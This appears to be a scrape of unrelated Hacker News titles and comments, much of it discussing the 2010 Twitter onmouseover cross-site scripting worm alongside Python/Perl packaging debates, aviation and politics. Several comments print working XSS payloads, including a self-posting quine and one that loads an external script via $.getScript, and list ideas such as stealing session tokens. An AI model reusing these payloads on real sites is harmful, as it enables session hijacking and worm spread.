skysight-inc/HackerNews huggingface dataset:
Elance 'advertorial' - but is outsourcing a viable alternative?
not harmless at all? this can do so much damage because you can run javascript in the context of the users session. some ideas for payloads:

* login as that user by sending yourself their session token

* scrape email addresses

* follow a spam account

* popup an affiliate site

* trigger a download or one of the new flash exploits to gain access to the local system

your code has to fit within 140 chars, but you can use the libraries that Twitter has included in the page (like $()) to grab elements and make Ajax calls to their backend.

This is a shocker.
I admit I haven't tried it much.
Django is in a very different situation because Python is central to all of its users, therefore it is reasonable to expect that they maintain a somewhat modern (released in the last 3 or 5 years, say) environment. When Python merely performs a subsidiary role, and your users may never use it themselves, it is far more important to support old versions.
This is an insane idea. I should not have to have a whole other version of python just to run a language independent web server. The choice Zed made is a great choice--all the functionality of the original python m2sh is present in the new, and there's nothing external to support, or dump somewhere else.
We're getting into the debate of what constitutes a "core system", and I'm afraid there's as many answers to this question as there are debaters.

As far as the update routines are concerned - you can already have those, by self-selecting which packages do you want to update. As a pro-active measure, you can even lock down packages which should never be updated.

This seems to be fine to me - the advanced user has the means to control the update mechanism, and the casual user can just do an all-encompassing "apt-get upgrade" or an equivalent to make sure that she has all the security fixes.
This is very interesting and is what RVM in the Ruby world was designed to solve in some way. So maybe we need a widespread and useful PVM. This feeds into an observation of mine I made over five years ago but that seems to be ever more relevant as time goes by. Linux and BSD seem to have "solved" the packaging problem through mega-repositories with dependencies and access to source code. However your favorite language and especially the scripting ones and virtual machines one will have there own repositories that are _not_ linked into the systems way of doing things.

So at the system level we have RPM and Yum and Ports and Portage and Macports and Fink and Homebrew and AptGet and Conary and yada yada yada but at the language level we have (deep breath) Perl and CPAN, Ruby and GEMS, Python and EGGS, and Emacs and ? and Java and Eclipse plugins and on and on.

I would switch IN AN INSTANT to the distro that integrated all this so that I would only need to go to ONE place to upgrade system packages and language packages. Honestly if nobody does it one of these years I might even be forced to do it myself and make mega $ € ¥.

Hope this makes sense to somebody somewhere. :)
Yeah, it's not like they worked to earn it or anything - oh wait.
I wouldn't be terribly surprised, based on the timeline of exploits I've seen, if the wider abuse of this is due to the incredibly stupid exploit demonstration at the launch of @RainbowTwtr.

My related tweets from earlier tonight... ah, about the RainbowTwtr angle, not exploited tweets! :-)

http://twitter.com/jdub/status/25106766206
http://twitter.com/jdub/status/25112834543
And even more people don't "expend time and money hiring accountants and lawyers to structure their investments", they just do simple obvious things, like put money into tax free municipal bonds instead of things that might grow the economy (for a worst case, a money losing stadium complex vs. a startup).

I watched my parent's economic behavior change quite a bit after the Carter and Reagan tax cuts, specifically on capital gains (yes, Carter started this and the general deregulation of the economy, e.g. air travel and trucks), on "unearned" income (70% before the Reagan tax cuts), etc.

Their behavior and many others became economically much more productive, resulting in the long boom from 1983-4 to the "new normal" we fear will come from the Great Recession and the responses to it.
Phoronix: Direct3D 10/11 Is Now Natively Implemented On Linux
Yeah, the whole vim/emacs war is so 1995.
Modern MechE's seemingly can't build anything either - at least where I went to school. The SAE formula guys are the only ones it seemed.

I'm not sure what I think about engineers who can only CAD up a part but couldn't make it.
You should insist that the "pay it back to them":

1. only applies if you quit, not if they fire you

2. be pro-rata -- i.e. if you quit after 9 months, you only pay back (12-9)/12 = 1/4 of the bonus

With the above, you can also ask (not necessarily insist), that they pay you the bonus now, or by the next paycheck.
Posterous-style blogging on Google App Engine
He's absolutely right. I have come to the conclusion that we must do one thing: Stop sharing. Shared libraries and language runtimes are a relic of the past when memory and storage were orders of magnitude smaller. Bundle all dependencies and throw out the package managers!
I called this 3 hours ago - do I get a cookie? :)
Survey finds low use of Microsoft encryption technology
So, you are publicly saying that you are currently trying to hack Twitter by making a worm? :)
Now Available: Host Your Web Site in the Cloud
Artificial Intelligence Goes Mobile
I got the Quine which changes the color and background color of the post to black. I initially though it was some sort of art. I admit I'm totally disappointed.

http://a.no/@onmouseover=;$(textarea:first).val(this.innerHTML);$(.status-update-form).submit() style="color:#000;background:#000;/
samy is my hero

http://namb.la/popular/
This backwards compatibility is a conscious decision. And it is argued about. To find a bit to read about that, Google e.g. for darkpan. (It is probably one reason why Perl 5 is so extensible.)
Nice social engineering trick :)

[PS: Just kidding]
It is always good to learn the abstraction layer below when creating something. For designing physical objects that will one day be physical products, it makes a lot of sense to understand the manufacturing process and materials involved.

To use your example of software... I've encountered one too many people who are billed as an Enterprise software "architects" who have never coded a single line production software in their life <cringe>. Needless to say, these projects almost always end up a disaster.
Web Development India
Truworth Infotech is a leading web development company in India offers drupal development services including drupal design, content management, website marketing and much more at affordable price.
My Twitter Account Has Been Taken Over
Yes, but that's only loaded once and then cached, so it's not such a big deal.
Perl Developers Actively Care About Backwards Compatibility
Yes, this is my post, but I haven't seen anyone else post a snap of one of the exploits being used. The code is highlighted.
Good point. The extremes tend to reinforce each other by fueling the antipathy of the other side.
I highly recommend Ben Rich's autobiography to anyone interested in the engineering and business practices behind Skunk Works:

http://www.amazon.com/Skunk-Works-Personal-Memoir-Lockheed/d...
Who here didn't, at least for fun, try to make his own version of the Javascript bit? I'd like to have a variant of the full black Quine that randomizes the color used. It would be so shiny and Twitter wouldn't prevent it from reposting.

Here be Rainbows!
As I recall the P-80 never saw combat, at least in WW II. I remember it chiefly for killing Richard Bong, the USAAF leading ace.
What are the advantages you receive due to white male-ness?

(Note: I'm asking about advantages to an individual, not statistical advantages to a group. )
You say this like Twitter is supposed to be the bastion of web security or something. Twitter has always been a poster child of web security vulnerabilities and scalability issues.
"Johnson crammed a small number of capable people into close proximity, so that “engineering shall always be within a stone’s throw of the airplane.”"

This is agile and extreme-programming at it's best.
Am I right to understand that Twitter does no JavaScript escaping whatsoever in a particular anchor tag?

In that case it surprises me that this has not been found before
Thanks berntb! That's a perfect tip for a new submission:

http://news.ycombinator.com/item?id=1712404

The DarkPAN matters

"There is currently some FUD going about in some parts of the Perl community about why we should break Perl 5 backwards compatibility. A short blog entry, schmarkpan, is a good example of the trend: loud, noisy, but clueless and devoid of any content."
Raging Flame Apps: CSV Converter
You should put this on Kickstarter. From your blog's comments, it looks like you might be able to generate some non-negligible funding.
The photo wouldn't have led to the arrest if she hadn't matched it against the ones in MySpace one that was attached to the e-mail, names, and other people.
have there own repositories that are _not_ linked into the systems way of doing things

One approach is to have a system that packages everything in the language-specific repository for the distro. Haskell on Archlinux is an example of this.

I'm not a fan of actually using the language-specific packages because I like the rolling release model and end up having to do some manual work to reinstall all my packages when the distro upgrades it's copy (or switch to the next 6-month release with Ubuntu and similar).
How is JavaScript injection not a huge security flaw? JavaScript injection -> acquire session -> basically anything (within the context of twitter)
It's been all over the internet this morning. It's a bug where twitter is allowing onmouseover.
May I underline that the flamewar you're referring to was totally intended by yourself? Your (public) IRC logs prove it by themselves (you even called that a "marketing" campaign). So it's a bit funny when you say afterwards "i have no interest in that".

For the "design issues" in Dancer, you may not know, but the code base has hugely been rewritten since your last epic marketing actions. So what you're saying here might be very well obsolete, just for the record.

Oh and one last word, as I said before, I don't understand why you put so much hate and energy when Dancer is mentioned. What's the problem? Do you want to rule the world or what?

If Mojolicious is so good, why do you need to make so much noise?
Beautiful Bedroom Designs & Ideas, Bedroom Wallpapers
I think bedrooms are the most important space in our homes and should be a place to rest, relax, and refresh. Here are the latest bedroom samples of modern wallpaper for bedroom and bedroom decorating ideas which absolutely can add excitement to your place of personal retreat. When you come to decorate your bedroom, should you go for bedroom painting or bedroom wallpaper? Here are some bedroom ideas to help you decide.
People would be wise to avoid Twitter.com today. Clients should be okay.
They don't look too bad in IE8.
Haha I liked "This sentence prevents a widow."

I don't really consider myself a "real" designer, but if I laugh at typesetting jokes then I must be on the right track at least.
This one links to an external script:
hxxp://t.co/@%22style=%22font-size:999999999999px;%22onmouseover=%22$.getScript(%27http:%5Cu002f%5Cu002fis.gd%5Cu002ffl9A7%27)%22

It also makes the text so big that as soon as it appears in your twitter feed its impossible to avoid mossing over it.
I wrote one that spreads unicorns. It's awesome!

I couldn't figure out how to style it up, and I'm not so cruel as to force retweets.

Screenshot:
http://www.flickr.com/photos/broadyau/5011139993/

Live:
http://twitter.com/broady
Anecdotally mathowie usually ends up returning the $5 to keep paypal happy. As disappointing as it is to not screw the spammers it seems to be a pragmatic decision to keep valid registrations flowing cleanly.
Running Hazelcast on a 100 Node Amazon EC2 Cluster
It looks like twitter have fixed the issue in their own tweet parsing library, but not deployed the fix (to old twitter at least).

Here's the relevant commit: http://github.com/mzsanford/twitter-text-rb/commit/cffce8e60... (thanks to Paul Battley for finding it).
I think you misunderstand the purpose of that kind of architect - their job is to wear a suit, give good PowerPoint and disappear in a puff of UML when it comes to actually building software.
Bad UI design is still their fault.
Tell me about it! I just wanted to install folding-mode for Emacs the other day, dselect wanted to install a new sodding IM client as well! (Something in emacs-goodies-el depended on it). About 50M it came to!

So I just did it by hand, more like 50k...
Who got harmed?
"If you're still using or advocating checked exceptions, then I'm afraid your skill set is 5 to 10 years out of date."

Josh Bloch must be devastated.

"Code in static methods is inherently less reusable and accessible than code in objects."

I'm really not sure this is true. Since I've started programming in functional languages more I find myself using static methods more and more - my code seems to be perfectly reusable. I still use objects where they make sense, of course, but using singleton objects instead of static methods is insane.

The idea of a Java 3 (with corresponding new JVM) is an interesting one, though. It really shouldn't be that hard to create an automatic conversion tool since the semantics are formally specified. However I suspect that unlike what most Java programmers would like to think, most of the decisions around the Java language really aren't made with programmer comfort in mind - things like backwards compatibility and tool support have historically been much more important.
If you read again, the person you're responding to mentioned being "honorary white". The notion of US whiteness evolves; take for example 19th century racism against the Irish. Blacks were called the "smoked Irish," and the Irish were "niggers turned inside-out". Now of course, Irish-Americans are just normal privileged white people, while African-Americans... well, they're obviously not doing as well. They're heavily imprisoned by the country with the world's highest jail rate.
Except no one installs ActiveState. For most, most of the market, the RedHat supplied version of python is python.
The rich are getting richer and the poor are getting poorer... but only in relative terms. In absolute terms, we're all getting richer.

It's pretty hard to argue that the lower classes are getting poorer when you compare what we had 50 or 100 years ago with what we have now: our houses are bigger, they have plumbing and electricity, they're filled with God knows how many gadgets and appliances, cars outnumber people, sugary and fatty foods that used to be considered luxuries are eaten in excess even in (or especially in) the lower classes.

We're definitely better off. If the middle classes are suffering it's because their own prosperity meant they never learnt to live within their means.
The Perfect Web Designer Should Not Exist
You know, I have to say, I read both of the blog posts and this guy has a point. This is basic financial literacy, if you have $500,000 in student loans, perhaps you should rethink the wisdom of buying a $1,000,000 home.

Being in a similar economic cohort myself, I see a lot of people like this. Believe it or not, I am often accused of living 'beneath my means'. Am I living beneath MY means, or are you living beyond YOURS?

So I think it is fair to label that sort of attitude as the 'degenerate' part of white culture. Just as it is fair to label gangsta rap, absentee fatherism and a myriad number of other issues the 'degenerate' part of black culture. Just because black people will say 'HOW DARE YOU?', does not mean that we should stop speaking the truth in this regard. Neither should we stop speaking the truth simply because whites may be offended.

What whites and blacks need to understand is that this is how progress is made. Failing that, they need to understand that this is the United States and it is their right to be offended...and my right to offend them.

The opinion of a midwestern farm boy.
Earthquake early-warning system close to possibility
Sweet. Cheers.
More button styles you could add to the gallery:

http://www.sencha.com/blog/2010/08/23/resolution-independent... (resolution independent buttons!)

http://www.webdesignerwall.com/demo/css-buttons.html

http://lab.simurai.com/css/buttons/ (super juicy and glossy! mind the flaws)

http://brandonmathis.com/blog/2009/11/19/fancy-buttons-are-h... (complicated)
Theres a definite UK angle to the project , so you might be able to get some matching government funding to whatever you raise elsewhere if you were set up as a "proper" charity .

Eg , http://www.hlf.org.uk/ourproject/projectsbysector/industry/P...

"We have given more than £770 million to over 2,200 conservation and activity projects in the industrial, maritime and transport heritage sector."
Bullshit. We (python-core) are obsessed with backwards compatibility. Adding new features that aren't in old version is the source of this problem.

Python 3 is by far, the biggest intentional deviation from the "don't break existing scripts" mantra that's been in place for years.
180 days to design the P-80. They built 28 planes a day.
Compare that to:
http://www.f22fighter.com/timeline.htm

I can't even tell how many years the design of the F-22 has taken, but that timeline lists 13 planes delivered in 2003. 13 per year versus 28 a day.

Now, obviously modern planes are much more complex than they were in 1943, and they should take longer to design and build. But how much longer? How much is the bureacracy actually hurting?
Question, when you go on vacation, do you rent a hotel room or do you buy a condo for that trip? If you rent a hotel room, do you take the towels, bed, and anything else that is not nailed down because you paid a night's rent so that means you own it all forever? How long should you be able to order room service, use the spa, and hang out at the pool after you have left the hotel and stopped paying for room?
I'm poor, tax me less.
He means that his example is pretty harmless, not the flaw itself. As you state the potential of the flaw is huge!
Kickstarter for a $1m funding? Would be awesome to see if that works... What was the highest amount of money pledged on Kickstarter ever since?
I think we agree. If I were doing an OS now, I'd also ignore the FHS completely, but more to the point: I wouldn't use anything that remotely resembles it either.

/ would have one dir:

/myos

And all OS components are under there:

/myos/bin/python

People can install anything they want outside /myos, but I'd make it very clear that the OS owns this folder and it should not be modified.
Maybe I'm doing something wrong but it doesn't work for me. All I see is the code you pasted including the jQuery code. At least for me the flaw seems to be fixed.
While I am happy that this overdue step has finally been taken, I dont think the unfamiliar syntax has been JavaFX's main problem, which means, that its failure wont be overturned by this decision.

People would have adapted to JavaFX-Script, if creating a stunning, fast and lightweight, instant and visually appealing user-experience had ever been an option with JavaFX.

But the baggage of the same runtime, that made Applets fail, was too much to overcome in my mind.
My impression is that the difference between Perl-5.6
and Perl-5.12 is much less than between these versions
of Python and recent releases.

Your impression is correct. Perl is a more mature platform than Python, and backwards compatibility is taken more seriously. The latest Perl 5.12 release can still run most of the test suite for Perl 1 released back in 1987.

That and its wide availability and portability make it a much better target than Python for something like glue in a build system for a project that's mostly in C anyway.

But even though it's backwards compatible with old code it's still somewhat of a pain to write code that works on old releases that don't have the modules / core features you want.

Backwards compatibility also comes at a price. Many of the changes that broke old Python code broke it because old warts were being fixed in Python. There's a lot of equivalent old warts in Perl that haven't been fixed, and there's no plan for doing so (other than Perl 6).
Wufoo API Contest Winners
You may also try using Janrain Engage (formerly RPX) http://www.janrain.com/janrain-products-overview
As a Rails developer, I loved this:

"When we say Agile, we mean that all companies should be Agile. If you’re not flexible to everything and responding with Agile tactics, you’re not the best Businesser you can be.

The only way to be Agile on the internet is to build a Rails application. If you’re not familiar with programming or don’t know what an application is, don’t worry. All you need to know is that you need to use Rails, and then you are very Agile.

Agile means hiring developers who know Rails. Rails developers are Rockstars. Rockstars are Agile. Keith Moon, for example, was very Agile. His drum set ran on Rails 1.2 on Heroku."
Why global warming and pollution may have no effect on earth.
State Propagation with Multiple Databases
My Twitter page has a frikkin overlay on it now, preventing its use. I define harm as not being able to use Twitter due to a malicious act. Sure, I haven't lost a leg, but it's a PITA. I'll probably have to change my password yet again too.
Hm - still works for me. The script takes a bit to load.

1. bit.ly redirect
2. run javascript hosted on github: http://github.com/broady/twitter-xss/blob/master/x.js
3. load cornify.js
I don't know, these links don't work for me, even with xx replaced with tt.

Nothing is happening. I created an isolated twitter account to try it, and nothing.
> At JavaOne on Monday I spoke on the topic of "The Next Big JVM Language". My conclusion wasn't what I expected it to be when I started researching the topic. Read on to find my conclusion...

That seems ironic given the conclusion of the post. The reasons for rejection of Clojure and Scala are respectively "Clojure is too different fom Java", and "Scala is too powerful".

It's almost comical how well this encapsulates Blub programming (http://c2.com/cgi/wiki?BlubParadox ). or more to the point, assumptions about blub programmers by the author, who clearly at least understands programming languages.

The thing about this is, I don't see why we have to replace Java. The power of the JVM is that there need not be One True Language To Rule Them All.

Let people program in Clojure or Scala or JavaScript or Ruby. Design sensible interfaces for data interchange, and let people get on with their lives (and promote Polyglotism!).

Searching for the Next Big JVM Language is like searching for the next Facebook. Sure there are going to be new popular entrants, but the ecosystem is such that there will never be another Java, just the same way there won't be another Facebook.

Change is hard, and it challenges lazy thinking in blog posts like this.
The Hardware Hacker Manifesto
Seven Languages That Are About To Die
As hard as it is to believe, languages can die just as easily as anything else.
Does CELERYD_PREFETCH_MULTIPLIER do what I think it does (disable prefetching so workers get items as they need them)? I like Celery a lot, having used it for a few days, but the documentation is a bit frustrating :/
Less likely to be stopped by police is just one.
Why don't you have a seat over there...
> In my Java shop, we try to write ultra-efficient code.

Are you sure you should be doing that? As Knuth said, "premature optimization is the root of all evil".